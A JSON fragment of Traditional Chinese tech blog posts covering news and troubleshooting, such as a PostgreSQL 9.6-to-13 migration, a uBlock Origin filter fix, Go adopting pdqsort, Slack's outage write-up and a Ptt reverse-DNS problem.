    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到開 <a href=\"https://en.wikipedia.org/wiki/Speedtest.net\">Speedtest</a> 可以讓速度變快的討論：「<a href=\"https://news.ycombinator.com/item?id=31062799\">Ask HN: Internet magically gets faster when opening speedtest?</a>」。\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2020/05/27/9554/cloudflare-%e4%b9%9f%e6%8e%a8%e5%87%ba%e8%87%aa%e5%b7%b1%e7%9a%84-speed-test-%e6%9c%8d%e5%8b%99/\">Cloudflare 也推出自己的 Speed Test 服務</a>」這篇也有提到遠傳的 Speedtest 加速法：「<a href=\"https://www.ptt.cc/bbs/MobileComm/M.1588401368.A.E6F.html\">[心得] 在Android破解遠X限速</a>」，裡面有 <a href=\"https://www.android.com/\">Android</a> 的解法，推文有 <a href=\"https://www.apple.com/ios/\">iOS</a> 的解法，不過這都舊文章了，不確定現在還有沒有用...",
    "title": "全世界都一樣：開 Speedtest 可以讓網路速度變快"
  },
  {
    "id": "10671",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的文章，講怎麼把一個 4TB 的 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 從 9.6 升級到 13 的故事：「<a href=\"https://news.ycombinator.com/item?id=31084147\">How we upgraded our 4TB Postgres database (retool.com)</a>」，原文在「<a href=\"https://retool.com/blog/how-we-upgraded-postgresql-database/\">How Retool upgraded our 4 TB main application PostgreSQL database</a>」，翻了一下 <a href=\"https://www.linkedin.com/\">LinkedIn</a>，這篇文章的作者 Peter Johnston 在 <a href=\"https://retool.com/\">Retool</a> 掛的是 Security Software Engineer，另外他也有在 Hacker News 上的討論出現 (帳號是 <a href=\"https://news.ycombinator.com/user?id=mrbabbage\">mrbabbage</a>)，可以搜尋翻翻看他的回覆。\r\n\r\n看完文章後發現方法的概念其實不難，主要是要找到對的工具來用。基本的想法是先生出一個 initial dump，然後架構 logical replication，接下來就是處理各種因為在 4TB data 這個 scale 下會遇到的問題。\r\n\r\n主要用到的工具是 <a href=\"https://www.citusdata.com/\">Citus Data</a> 的 Warp：「<a href=\"https://www.citusdata.com/blog/2017/12/08/citus-warp-pain-free-migrations/\">Citus warp: Database migrations without the pain</a>」，不過這個工具的限制是表格必須都有 single column primary key，所以他們為了這次轉移也有小改 database schema 配合 Warp 的要求：\r\n\r\n<blockquote>We had to do a bit of finagling to coax Warp into processing our database. Warp expects all tables to have a single column primary key, so we had to convert compound primary keys into unique constraints and add scalar primary keys. Otherwise, Warp was very straightforward to use.</blockquote>\r\n\r\n另外針對比較大的兩個 append-only 的表格 (分別是 2TB 與 x00 GB) 做處理，在 initial dump 的階段不對這兩個表格做 replication，而是透過自製的 Python script 搬移：\r\n\r\n<blockquote>To handle the two massive tables we skipped in Warp, we wrote a Python script to bulk transfer data from the old database server to the new.</blockquote>\r\n\r\n然後是 foreign key 相關的關閉與重啟，這算是 RDBMS 在大量資料的 dump &amp; restore 的標準作業了：\r\n\r\n<blockquote>As you can see from the runbook above, one of the steps we had to do was to turn off and then re-enable foreign key constraint checks.</blockquote>\r\n\r\n最後執行下去，整個 downtime 只有十五分鐘：\r\n\r\n<blockquote>We scheduled the maintenance window late on Saturday, October 23rd, at the lowest period of Retool cloud traffic. With the configuration described above, we were able to bring up a new database server at version 13 in around 15 minutes, subscribed to changes at our 9.6 primary with logical decoding.</blockquote>\r\n\r\n另外也有提到有計畫要 sharding，之後 main database 就有機會被拆小：\r\n\r\n<blockquote>We anticipate we’ll have sharded our database by the end of that support window, and be performing our next substantial version upgrades incrementally.</blockquote>\r\n\r\n整個計畫的核心概念不難，主要是要怎麼順出來並且執行...",
    "title": "低 Downtime 將 4TB 的 PostgreSQL 9.6 資料庫升級到 13 的故事"
  },
  {
    "id": "10672",
    "body": "有時候在 <a href=\"https://www.bookwalker.com.tw/\">www.bookwalker.com.tw</a> 上面買書會出現地區問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/opFSIwd.webp\" /><img src=\"https://i.gslin.com/imgur/opFSIwd.png\" alt=\"\" /></picture>\r\n\r\n先講解法再講找問題的過程以及解釋原因好了，把這行白名單設定加進 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 的 My filters 列表裡面就可以了：\r\n\r\n<pre>@@||www.cloudflare.com/cdn-cgi/trace$xhr,domain=www.bookwalker.com.tw</pre>\r\n\r\n應該有些人看到上面敘述的問題，以及白名單的設法，就大概知道發生什麼事情了，不過這邊還是會從頭說明除錯的過程。\r\n\r\n我一開始先確認在無痕模式下是可以看到的 (也就是在沒有延伸套件的情況下)，如果是這類 case，最常見的就是延伸套件的鍋，所以接下來研究是哪個套件造成的；然後透過經驗，從容易中獎的套件開始關，一路抓下來就可以抓到是 uBlock Origin。\r\n\r\n然後把 uBlock Origin 裡面的 Filter lists 裡面開始關，一路關就可以測出來是 <a href=\"https://easylist.to/easylist/easyprivacy.txt\">EasyPrivacy</a> 這組造成的。\r\n\r\n然後就是拉 uBlock Origin 提供的 Logger 去看 EasyPrivacy 擋了什麼，可以看到有這條：\r\n\r\n<pre>||cloudflare.com/cdn-cgi/trace$3p,domain=~isbgpsafeyet.com|~wyndhamdestinations.com</pre>\r\n\r\n而熟知 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的人應該就知道，在 <a href=\"https://www.cloudflare.com/cdn-cgi/trace\">https://www.cloudflare.com/cdn-cgi/trace</a> 裡面有 geolocation 資訊，這樣看起來應該是被 bookwalker.com.tw 拿來跑地區資訊 XD\r\n\r\n有興趣的也可以自己跑 <code>curl -v https://www.cloudflare.com/cdn-cgi/trace</code> 看傳回結果。\r\n\r\n不過這個部份居然做在前端 javascript，看起來... 好像... 可以...？",
    "title": "處理 EasyPrivacy 讓 bookwalker.com.tw 無法購買書籍的問題"
  },
  {
    "id": "10673",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的消息，<a href=\"https://go.dev/\">Golang</a> 將會把 <a href=\"https://pkg.go.dev/sort\">sort.Sort()</a> 換成 pdqsort (<a href=\"https://arxiv.org/abs/2106.05123\">Pattern-defeating Quicksort</a>)：「<a href=\"https://news.ycombinator.com/item?id=31106157\">Go will use pdqsort in next release (github.com/golang)</a>」，對應的 commit 則是在「<a href=\"https://github.com/golang/go/commit/72e77a7f41bbf45d466119444307fd3ae996e257\">sort: use pdqsort</a>」這邊可以看到。\r\n\r\n然後另外是「<a href=\"https://news.ycombinator.com/item?id=31098822\">Changing std:sort at Google’s scale and beyond (danlark.org)</a>」這邊提到了，<a href=\"https://llvm.org/\">LLVM</a> 將 <a href=\"https://libcxx.llvm.org/\">libc++</a> 的 <a href=\"https://en.cppreference.com/w/cpp/algorithm/sort\">std::sort</a> 從 <a href=\"https://en.wikipedia.org/wiki/Quicksort\">Quicksort</a> 換成 <a href=\"https://arxiv.org/abs/1604.06697\">BlockQuicksort</a>。另外在文章裡面有提到一段 <a href=\"https://en.wikipedia.org/wiki/Donald_Knuth\">Knuth</a> 老大在 <a href=\"https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming\">TAOCP</a> 裡講 sorting algorithm 沒有霸主的情況：\r\n\r\n<blockquote>It would be nice if only one or two of the sorting methods would dominate all of the others, regardless of application or the computer being used. But in fact, each method has its own peculiar virtues. […] Thus we find that nearly all of the algorithms deserve to be remembered, since there are some applications in which they turn out to be best.</blockquote>\r\n\r\n先回到 pdqsort 的部份，pdqsort 作者的 <a href=\"https://github.com/\">GitHub</a> 上 (<a href=\"https://github.com/orlp/pdqsort\">orlp/pdqsort</a>) 可以看到他對 pdqsort 的說明：\r\n\r\n<blockquote>Pattern-defeating quicksort (pdqsort) is a novel sorting algorithm that combines the fast average case of randomized quicksort with the fast worst case of heapsort, while achieving linear time on inputs with certain patterns.</blockquote>\r\n\r\n看名字也可以知道 pdqsort 是從 Quicksort 改良的版本，而依照 Golang 的 commit 上的測試，與 Quicksort 相比，少數情況下會慢一點點，大多數的情況下會快一些，而在特殊情境下會讓 worst case 下降。\r\n\r\nGolang 選擇把 unstable 的 Quicksort 換成 pdqsort，LLVM 則是選擇把 Quicksort 換成 BlockQuicksort，這邊看起來有些分歧...\r\n\r\n反倒是各個程式語言對於 stable 的 <a href=\"https://en.wikipedia.org/wiki/Merge_sort\">Mergesort</a> 陸陸續續都換成了 <a href=\"https://en.wikipedia.org/wiki/Timsort\">Timsort</a>，看起來比較像是有個共識...",
    "title": "Golang 的排序演算法將換成 pdqsort，LLVM libc++ 換成 BlockQuicksort"
  },
  {
    "id": "10674",
    "body": "Okay，各家 DevOps Engineers &amp; SRE 可能又要忙碌了，兩年一度的盛事，<a href=\"https://releases.ubuntu.com/22.04/\">Ubuntu 22.04 LTS</a> 出版：「<a href=\"https://ubuntu.com/blog/ubuntu-22-04-lts-released\">Canonical Ubuntu 22.04 LTS is released</a>」。\r\n\r\n其中有一些比較特別的消息，像是這次是 <a href=\"https://ubuntu.com/download/desktop\">Ubuntu Desktop</a> 這邊正式支援 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry Pi 4</a> 平台：\r\n\r\n<blockquote>For innovators on Raspberry Pi, Ubuntu 22.04 LTS marks the first LTS release with Ubuntu Desktop support on the Raspberry Pi 4.</blockquote>\r\n\r\n照慣例先放一個月再看看，通常三個月後應該會把大家常見的問題都修差不多，我這邊 Desktop 是用換成 <a href=\"https://xfce.org/\">Xfce</a> 的 <a href=\"https://xubuntu.org/\">Xubuntu</a>，要再等一下...",
    "title": "Ubuntu 22.04 LTS 出版"
  },
  {
    "id": "10676",
    "body": "前幾天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的東西，是由 <a href=\"https://www.bloomberg.com/\">Bloomberg</a> 開發出來的工具 <a href=\"https://github.com/bloomberg/memray\">Memray</a>，這個工具是一個 <a href=\"https://www.python.org/\">Python</a> 套件：\r\n\r\n<blockquote>Memray is a memory profiler for Python. It can track memory allocations in Python code, in native extension modules, and in the Python interpreter itself.</blockquote>\r\n\r\n套件有多種輸出，其中一種是可以產生出記憶體使用情況的 flamegraph，轉成圖檔後像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nT8F6Li.webp\" /><img src=\"https://i.gslin.com/imgur/nT8F6Li.png\" alt=\"\" /></picture>\r\n\r\n官方支援 Python 3.7+：\r\n\r\n<blockquote>Memray requires Python 3.7+ and can be easily installed using most common Python packaging tools.</blockquote>\r\n\r\n用法看起來也很簡單，之後如果有需要看 memory footprint 的情況好像可以拿來用看看...",
    "title": "畫 Python 下記憶體使用情況的 Flamegraph：Memray"
  },
  {
    "id": "10677",
    "body": "看到「<a href=\"https://www.theverge.com/2022/4/21/23035289/google-reject-all-cookie-button-eu-privacy-data-laws\">Google gives Europe a ‘reject all’ button for tracking cookies after fines from watchdogs</a>」這篇，在講 <a href=\"https://www.google.com/\">Google</a> 在歐盟的服務開始提供 Reject All Cookie 的按鈕，其中 Google 官方的公告可以在「<a href=\"https://blog.google/around-the-globe/google-europe/new-cookie-choices-in-europe/\">New cookie choices in Europe</a>」這邊看到。\r\n\r\nReject All Cookies 的按鈕是像這樣的設計：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AlsoxNg.webp\" /><img src=\"https://i.gslin.com/imgur/AlsoxNg.png\" alt=\"\" /></picture>\r\n\r\n照報導說的，今年初的時候法國罰了 Google 一億五千萬歐元，因為 Accept All Cookies 只要一個按鍵，但 Reject All Cookies 需要按很多選單才能達成，而法國認為這樣非對稱式的設計是違法的：\r\n\r\n<blockquote>Earlier this year, France’s data protection agency CNIL fined Google €150 million ($170 million) for deploying confusing language in cookie banners. Previously, Google allowed users to accept all tracking cookies with a single click, but forced people to click through various menus to reject them all. This asymmetry was unlawful, said CNIL, steering users into accepting cookies to the ultimate benefit of Google’s advertising business.</blockquote>\r\n\r\nGoogle 的說明裡面也有提到法國的事情，但當然沒有提到罰款：\r\n\r\n<blockquote>Based on these conversations and specific direction from France’s Commission Nationale de l’Informatique et des Libertés (CNIL), we have now completed a full redesign of our approach, including changes to the infrastructure we use to handle cookies.</blockquote>\r\n\r\n另外就是這個功能目前只在法國啟用，後續會放到整個歐盟區：\r\n\r\n<blockquote>We’ve kicked off the launch in France and will be extending this experience across the rest of the European Economic Area, the U.K. and Switzerland.</blockquote>",
    "title": "Google 在歐盟的服務將提供 Reject All Cookies 的按鈕"
  },
  {
    "id": "10678",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到目前撞 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> collision 的難度：「<a href=\"https://news.ycombinator.com/item?id=31148839\">How easy is it in 2022 to find a SHA1 collision? (stackexchange.com)</a>」，原文在「<a href=\"https://crypto.stackexchange.com/questions/99767/how-easy-is-it-in-2022-to-find-a-sha1-collision\">How easy is it in 2022 to find a SHA1 collision?</a>」。\r\n\r\n在答案裡面有提到，即使在不考慮 <a href=\"https://en.wikipedia.org/wiki/Application-specific_integrated_circuit\">ASIC</a> 的情況下，光是用 <a href=\"https://en.wikipedia.org/wiki/Graphics_processing_unit\">GPU</a> 算就可以可以降到 ~5.4 GPU years 了：\r\n\r\n<blockquote>Remarkably, we can see that in only 5 years, we're down from an attack costing ~110 GPU years to an attack costing ~8 GPU-years in 2020 (thanks to theoretical improvements &amp; newer GPUs) to just ~5.4 GPU years nowadays (thanks to newer, faster GPUs).</blockquote>\r\n\r\n除了演算法本身的進步以外，GPU 的效能進展也帶動不少，而如果考慮到 ASIC 的話會快更多，對美國政府來說，如果搬出超級電腦來算的話，就是一天可以撞一個出來：\r\n\r\n<blockquote>In a more realistic way, it would take less than a day to do it on a super-computer such as the one owned by the US Department of Energy's Oak Ridge National Laboratory (ORNL) named \"Summit\".</blockquote>\r\n\r\n沒有在追進度，發現進展蠻快的，現在的攻擊速度比想像中快不少...",
    "title": "SHA-1 在 2022 的破解速度已經降到 ~5.4 GPU years"
  },
  {
    "id": "10679",
    "body": "<a href=\"https://slack.com/\">Slack</a> 針對今年年初的爆炸提出了說明：「<a href=\"https://slack.engineering/slacks-incident-on-2-22-22/\">Slack’s Incident on 2-22-22</a>」，但真正的重點都在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的討論串上：「<a href=\"https://news.ycombinator.com/item?id=31170370\">Slack’s Incident on 2-22-22 (slack.engineering)</a>」。\r\n\r\n大概有三件事情可以講，第一個是掛掉的原因，第二個是剛發出來的時候，一堆人對於標題用的「2-22-22」很感冒，第三個是剛剛 (一個小時前)，<a href=\"https://en.wikipedia.org/wiki/Cal_Henderson\">Cal Henderson</a> (Slack 的 CTO) 跑到 Hacker News 的討論串上回應...\r\n\r\n<h2>Downtime 的部份</h2>\r\n\r\n這次的 downtime 主要是發生在 Group Direct Message (GDM) 的部份：\r\n\r\n<blockquote>A significant element of the datastore load appeared to be from a query that listed Group Direct Message (GDM) conversations by user. This operation is fronted by our cache tier, so the high query load seemed to indicate something was wrong with our caches.</blockquote>\r\n\r\n這個 GDM 的查訊效率不高，而是靠 cache layer 撐住的，加上二月 22 日那天他們在更新 <a href=\"https://www.consul.io/\">Consul</a> 的 agent，導致 hit rate 的下降，以及遇到一個比較大的 peak time，接著就壓垮了資料庫。\r\n\r\noh，這中間還有 <a href=\"https://vitess.io/\">Vitess</a> 一起進來打架，原文講的比較清楚，但需要花一些時間看。\r\n\r\n<h2>2-22-22</h2>\r\n\r\n剛發表出來的時候，其實大多數的討論反而是在討論「2-22-22」這件事情，這的確是很差的表示方法，尤其對於一份公告來說，不過這個問題本來就是個 flame war 等級的話題...\r\n\r\n<h2>Slack CTO (Cal Henderson) 的回應</h2>\r\n\r\n在重刷頁面的時候發現 <a href=\"https://news.ycombinator.com/user?id=iamcal\">iamcal</a> 這個帳號的回應，而 Cal Henderson (Slack CTO) 的個人網站是 <a href=\"https://www.iamcal.com\">www.iamcal.com</a>，雖然不確定這是不是本人帳號，但看起來之前在 2011 註冊後都沒動...\r\n\r\n這個帳號回了兩個訊息，一個是提到 <a href=\"https://aws.amazon.com/\">AWS</a> 上其實很常看到 failure，需要靠本身架構的穩定性來撐：\r\n\r\n<blockquote>Our underlying hardware (AWS) is nothing like this reliable. We see regular (several times a year) failure of racks of machines or whole DCs.\r\n\r\nAcross the whole fleet (all services), we lose 1-10 servers per day as a baseline. Major events are then on top of that and can impact thousand of hosts at once.</blockquote>\r\n\r\n另外一個是反駁自以為的量級估算：\r\n\r\n<blockquote>&gt; Even the largest Slack instance probably has under 100,000 users and less than 1000 peak messages per second.\r\n\r\nThis is not true, by an order of magnitude.</blockquote>\r\n\r\n好像還可以繼續在盯一下，不知道還會不會有回應...",
    "title": "Slack 在 2022/02/22 發生的 downtime 說明"
  },
  {
    "id": "10680",
    "body": "其實是看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/04/amazon-ses-v2-supports-email-size-40mb-inbound-outbound-emails-default/\">Amazon SES V2 now supports email size of up to 40MB for inbound and outbound emails by default</a>」這篇才注意到寄信的 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 服務有了 SESv2，原文主要是講放寬信件的大小限制：\r\n\r\n<blockquote>With this launch, the default message size limit in Amazon SES V2 increases from 10MB for email sending and 30MB for email receiving, to 40MB for both sending and receiving .</blockquote>\r\n\r\n不過我跑去「<a href=\"https://aws.amazon.com/ses/pricing/\">Amazon SES pricing</a>」看的時候意外翻到這個貴貴的東西：\r\n\r\n<blockquote>The Deliverability Dashboard (via the SES API V2) is available for a fixed price of USD $1,250 per month. This charge includes reputation monitoring for up to five domains and 25 predictive email placement tests.</blockquote>\r\n\r\n然後我試著去找 Deliverability Dashboard 是什麼，卻沒有專文介紹？(還是我找錯關鍵字...)\r\n\r\n倒是在 2018 年的時候 <a href=\"https://aws.amazon.com/pinpoint/\">Amazon Pinpoint</a> 有個公告提到 Deliverability Dashboard，價錢也是 US$1,250/mo：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/12/amazon-pinpoint-announces-a-new-email-deliverability-dashboard-to-help-customers-reach-their-users-inboxes/\">Amazon Pinpoint Announces a New Email Deliverability Dashboard to Help Customers Reach their Users' Inboxes</a>」。\r\n\r\n本來以為是 Amazon Pinpoint 的服務轉移掛到 SESv2 下，但看「<a href=\"https://aws.amazon.com/pinpoint/pricing/\">Amazon Pinpoint Pricing</a>」這邊，好像還是在啊...\r\n\r\n雖然用不太到，但還是一頭霧水 XDDD",
    "title": "Amazon SESv2 的 Deliverability Dashboard"
  },
  {
    "id": "10683",
    "body": "自己架設 E-mail server 的難處算是每過一陣子在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上就會冒出來討論的題目：「<a href=\"https://news.ycombinator.com/item?id=31180379\">Ask HN: Why can't I host my own email?</a>」。\r\n\r\n收信只要有固定 IP，加上 ISP 沒有擋 TCP port 25 就倒不是問題，整個最難的點在於怎麼送信，因為會常常被標成 spam...\r\n\r\n最基本要設定的東西大概是 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a>，但通常還是建議連 <a href=\"https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail\">DKIM</a> 一起搞定。另外 <a href=\"https://en.wikipedia.org/wiki/DMARC\">DMARC</a> 也弄一下會比較好。\r\n\r\n然後依照經驗，<a href=\"https://en.wikipedia.org/wiki/Gmail\">Gmail</a> 擋信的機率低不少，微軟家擋信的情況就多很多 (包括免費的 E-mail 服務與付費的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_365\">Microsoft 365</a>)...\r\n\r\n目前一般建議是自用就過 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a>，沒有低消所以個人用起來不貴...",
    "title": "關於自己架設 E-mail server 的事情"
  },
  {
    "id": "10686",
    "body": "先前有提到 <a href=\"https://www.brendangregg.com/\">Brendan Gregg</a> 離開了 <a href=\"https://www.netflix.com/\">Netflix</a> 的事情：「<a href=\"https://blog.gslin.org/archives/2022/04/17/10663/brendan-gregg-%e9%9b%a2%e9%96%8b-netflix/\">Brendan Gregg 離開 Netflix</a>」，剛剛看到他發表他去 <a href=\"https://www.intel.com/\">Intel</a> 的消息：「<a href=\"https://www.brendangregg.com/blog/2022-05-02/brendan-at-intel.html\">Brendan@Intel.com</a>」。\r\n\r\n看起來是任何跟 performance 有關的都可以碰，但主力會放在跟 cloud 相關的產品線上：\r\n\r\n<blockquote>I'm thrilled to be joining Intel to work on the performance of everything, apps to metal, with a focus on cloud computing.</blockquote>\r\n\r\n不知道起頭會碰什麼東西，也許先花幾個月熟悉？",
    "title": "Brendan Gregg 加入 Intel"
  },
  {
    "id": "10687",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=31238396\">Show HN: PostgresML, now with analytics and project management (postgresml.org)</a>」這個專案，可以在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上面直接掛 extension 跑 ML algorithm：「<a href=\"https://postgresml.org/\">PostgresML - an end-to-end machine learning solution</a>」，從 <a href=\"https://github.com/\">GitHub</a> 上可以看到大多數是 <a href=\"https://www.python.org/\">Python</a> 的程式碼。\r\n\r\n從 GitHub 頁面上面可以看到這個專案還在比較早期的階段：\r\n\r\n<blockquote>This project is currently a proof of concept. Some important features, which we are currently thinking about or working on, are listed below.</blockquote>\r\n\r\n如果是目前要用的話，主要是方便看一些東西吧？可以想到的是掛個 replication 出來跑一些 query，這樣不會影響到 production database 的效能，應該還行...\r\n\r\n另外看了一下支援的演算法，主要是以經典的 ML 演算法為主，而且就是套用 Python 上面的套件：<a href=\"https://xgboost.readthedocs.io/\">XGBoost</a> 與 <a href=\"https://scikit-learn.org/\">scikit-learn</a>。\r\n\r\n這些演算法算是很好用了，而且掛到 PostgreSQL 裡面會讓使用上方便很多 (少了倒資料的動作，不過就得小心處理 dirty data 了)，然後專案也附上一個 UI 界面可以看一些資料，不過我猜還是用其他生 visualization 的工具會比較豐富一點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nqFaDxg.webp\" /><img src=\"https://i.gslin.com/imgur/nqFaDxg.png\" alt=\"\" /></picture>\r\n\r\n另外一個想法是拿來學習還不錯？老師在上課的時候拿來示範一些演算法，就不用自己再刻很多程式碼...",
    "title": "在 PostgreSQL 上直接掛 ML extension"
  },
  {
    "id": "10688",
    "body": "就如同標題所說的，<a href=\"https://www.ptt.cc/\">Ptt</a> 對外寄信的伺服器 <code>node.ptt.cc</code> 查不到反解的問題：\r\n\r\n<pre>$ host node.ptt.cc\r\nnode.ptt.cc has address 140.112.172.16\r\n$ host 140.112.172.16\r\nHost 16.172.112.140.in-addr.arpa not found: 2(SERVFAIL)</pre>\r\n\r\n情況大概是這樣，Ptt 使用的 <code>140.112.172.0/27</code> 這個網段 (尾碼從 0～31) 不是 <code>/24</code> 以上的範圍，而 <code>140.112.172.0/24</code> 是台大計中管轄範圍，所以台大就把 <code>140.112.172.x</code> 這段的反解 PTR record 用 <code>CNAME</code> 的方式指到 <code>x.0-31.172.112.140.in-addr.arpa</code>，像是 <code>140.112.172.16</code> 這樣：\r\n\r\n<pre>;; ANSWER SECTION:\r\n16.172.112.140.in-addr.arpa. 86400 IN   CNAME   16.0-31.172.112.140.in-addr.arpa.</pre>\r\n\r\n然後再針對 <code>0-31.172.112.140.in-addr.arpa</code> 設定 NS RR 到 <code>ns0.ptt.cc</code> 與 <code>ns1.ptt.cc</code> 兩台 NS server：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\n0-31.172.112.140.in-addr.arpa. 86400 IN NS      ns1.ptt.cc.\r\n0-31.172.112.140.in-addr.arpa. 86400 IN NS      ns0.ptt.cc.</pre>\r\n\r\n但是 <code>ns0.ptt.cc</code> 與 <code>ns1.ptt.cc</code> 都不見了：\r\n\r\n<pre>$ host ns0.ptt.cc\r\nHost ns0.ptt.cc not found: 3(NXDOMAIN)\r\n$ host ns1.ptt.cc\r\nHost ns1.ptt.cc not found: 3(NXDOMAIN)</pre>\r\n\r\n導致反解查不到對應的資料 (會是 <code>SERVFAIL</code>)：\r\n\r\n<pre>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: SERVFAIL, id: 58463</pre>\r\n\r\n猜了一下，看起來 <code>ns0.ptt.cc</code> 還活著，只是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 上面的 DNS record 沒設定過去：\r\n\r\n<pre>$ dig ns0.ptt.cc @140.112.172.16\r\n\r\n;; ANSWER SECTION:\r\nns0.ptt.cc.             300     IN      A       140.112.172.16</pre>\r\n\r\n不過 <code>ns1.ptt.cc</code> (<code>140.112.172.10</code>) 看起來就沒服務了，但至少在 Cloudflare 上補個 DNS record 上去應該就會動了 (只是沒有兩台互相備援)。",
    "title": "Ptt 信件伺服器 node.ptt.cc 查不到反解的問題"
  },
  {
    "id": "10689",
    "body": "<a href=\"https://github.com/\">GitHub</a> 公佈了強制使用 <a href=\"https://en.wikipedia.org/wiki/2FA\">2FA</a> 的計畫：「<a href=\"https://github.blog/2022-05-04-software-security-starts-with-the-developer-securing-developer-accounts-with-2fa/\">Software security starts with the developer: Securing developer accounts with 2FA</a>」。\r\n\r\n文章副標題把該講的都講完了：\r\n\r\n<blockquote>GitHub will require all users who contribute code on GitHub.com to enable one or more forms of two-factor authentication (2FA) by the end of 2023.</blockquote>\r\n\r\n自己開是一件事情，整個服務強制啟用是另外一個等級，還有一年多的時間...",
    "title": "GitHub 將在 2023 年底強制所有使用者都啟用 2FA"
  },
  {
    "id": "10690",
    "body": "剛剛在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到有趣的 bug，在 Google Docs 上輸入 <code>And. And. And. And. And.</code> 會觸發 error：「<a href=\"https://news.ycombinator.com/item?id=31277998\">Including “And. And. And. And. And.” in a Google doc causes it to crash (support.google.com)</a>」，原始的 bug report 在「<a href=\"https://support.google.com/docs/thread/162510194/including-and-and-and-and-and-in-a-google-doc-causes-it-to-crash?hl=en\">Including \"And. And. And. And. And.\" in a Google doc causes it to crash.</a>」這邊，錯誤訊息像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/m0QzWuD.webp\" /><img src=\"https://i.gslin.com/imgur/m0QzWuD.png\" alt=\"\" /></picture>\r\n\r\nHacker News 上的討論有提到這需要開 grammar check 的功能，然後看起來只要有相同的五個字開頭都大寫就會發生，像是 <code>Also, Therefore, And, Anyway, But, Who, Why.</code> 這些：\r\n\r\n<blockquote>Also, Therefore, And, Anyway, But, Who, Why.\r\n\r\nEach in caps 5 times with the same word with a period and space after each word and newline at the end is what I have found so far.\r\n\r\nCan anyone find others?\r\n\r\nEdit: added words that work found in other comments</blockquote>\r\n\r\n很有趣的 bug XDDD 然後目前在 Hacker News 首頁的第一名...",
    "title": "Google Docs 裡 Grammar Correction 的 bug"
  },
  {
    "id": "10691",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 推出的新「功能」，可以讓 <a href=\"https://aws.amazon.com/rds/postgresql/\">Amazon RDS for PostgreSQL</a> 的 read replica 掛到 155 台：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/05/amazon-rds-postgresql-cascaded-read-replicas-30x-capacity/\">Amazon RDS for PostgreSQL supports cascaded read replicas for up to 30X more read capacity</a>」。\r\n\r\n作法是透過三層架構，每台機器可以堆五台 replica：\r\n\r\n<blockquote>Amazon Relational Database Service (Amazon RDS) for PostgreSQL announces support for PostgreSQL 14 with three levels of cascaded read replicas, 5 replicas per instance, supporting a maximum of up to 155 read replicas per source instance.</blockquote>\r\n\r\n需要 PostgreSQL 14.1 或是之後的版本：\r\n\r\n<blockquote>Starting with Amazon RDS for PostgreSQL 14.1 and higher, read intensive workloads such as data analytics can now benefit from up to 155 cascaded read replicas that offer up to 30 times higher read capacity versus previous versions of PostgreSQL, thereby reducing the load on source instance.</blockquote>\r\n\r\n我記得 Amazon RDS for PostgreSQL 的 replica 是 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> block-level replication，這種搞法還蠻有趣的 XDDD",
    "title": "Amazon RDS for PostgreSQL 可以掛 155 台 Read Replica"
  },
  {
    "id": "10692",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到這個蠻大的改變：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">New <a href=\"https://twitter.com/hashtag/PHP?src=hash&amp;ref_src=twsrc%5Etfw\">#PHP</a> Implemented PHP 8.2 RFC: Deprecate ${} string interpolation <a href=\"https://t.co/KDop21MTiV\">https://t.co/KDop21MTiV</a></p>&mdash; PHP RFC Bot (@PHPRFCBot) <a href=\"https://twitter.com/PHPRFCBot/status/1522129469875843072?ref_src=twsrc%5Etfw\">May 5, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面的連結是「<a href=\"https://wiki.php.net/rfc/deprecate_dollar_brace_string_interpolation\">PHP RFC: Deprecate ${} string interpolation</a>」，在文件中提到了 <a href=\"https://www.php.net/\">PHP</a> 語言支援的四種字串內指定變數的方式：\r\n\r\n<ol>\r\n\t<li>Directly embedding variables (“$foo”)</li>\r\n\t<li>Braces outside the variable (“{$foo}”)</li>\r\n\t<li>Braces after the dollar sign (“${foo}”)</li>\r\n\t<li>Variable variables (“${expr}”, equivalent to (string) ${expr})</li>\r\n</ol>\r\n\r\n提案在 PHP 8.2 裡將 3 與 4 兩種方式標為 deprecated，並且在 PHP 9.0 移除，目前看起來是 31:1 通過了...",
